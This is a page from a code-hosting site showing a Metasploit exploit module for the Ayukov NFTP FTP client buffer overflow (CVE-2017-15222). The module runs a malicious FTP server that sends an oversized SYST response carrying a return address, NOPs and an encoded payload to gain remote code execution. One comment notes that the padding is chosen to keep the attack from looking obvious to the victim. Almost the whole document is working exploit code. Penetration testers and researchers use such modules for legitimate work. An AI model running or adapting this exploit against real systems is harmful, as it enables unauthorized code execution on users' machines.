CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/ayukov_nftp.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
16
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
17
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
18
code exeuction under the context of the user if successfully exploited.
19
},
20
'Author' =>
21
[
22
'Berk Cem Goksel', # Original exploit author
23
'Daniel Teixeira', # MSF module author
24
'sinn3r' # RCA, improved module reliability and user exp
25
],
26
'License' => MSF_LICENSE,
27
'References' =>
28
[
29
[ 'CVE', '2017-15222'],
30
[ 'EDB', '43025' ],
31
],
32
'Payload' =>
33
{
34
'BadChars' => "\x00\x01\x0a\x10\x0d",
35
'StackAdjustment' => -3500
36
},
37
'Platform' => 'win',
38
'Targets' =>
39
[
40
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
41
],
42
'Privileged' => false,
43
'DefaultOptions' =>
44
{
45
'SRVHOST' => '0.0.0.0',
46
},
47
'DisclosureDate' => '2017-10-21',
48
'DefaultTarget' => 0))
49
50
register_options(
51
[
52
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
53
])
54
end
55
56
def exploit
57
srv_ip_for_client = datastore['SRVHOST']
58
if srv_ip_for_client == '0.0.0.0'
59
if datastore['LHOST']
60
srv_ip_for_client = datastore['LHOST']
61
else
62
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
63
end
64
end
65
66
srv_port = datastore['SRVPORT']
67
68
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
69
super
70
end
71
72
def on_client_connect(client)
73
return if ((p = regenerate_payload(client)) == nil)
74
print_status("#{client.peerhost} - connected")
75
76
# Let the client log in
77
client.get_once
78
79
print_status("#{client.peerhost} - sending 331 OK")
80
user = "331 OK.\r\n"
81
client.put(user)
82
83
client.get_once
84
print_status("#{client.peerhost} - sending 230 OK")
85
pass = "230 OK.\r\n"
86
client.put(pass)
87
88
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
89
# is visible from the user's command prompt, which would make the buffer overflow attack too
90
# obvious.
91
sploit = "\x20"*4116
92
93
sploit << [target.ret].pack('V')
94
sploit << make_nops(10)
95
sploit << payload.encoded
96
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
97
sploit << "\r\n"
98
99
print_status("#{client.peerhost} - sending the malicious response")
100
client.put(sploit)
101
102
client.get_once
103
pwd = "257\r\n"
104
client.put(pwd)
105
client.get_once
106
107
end
108
end
109
110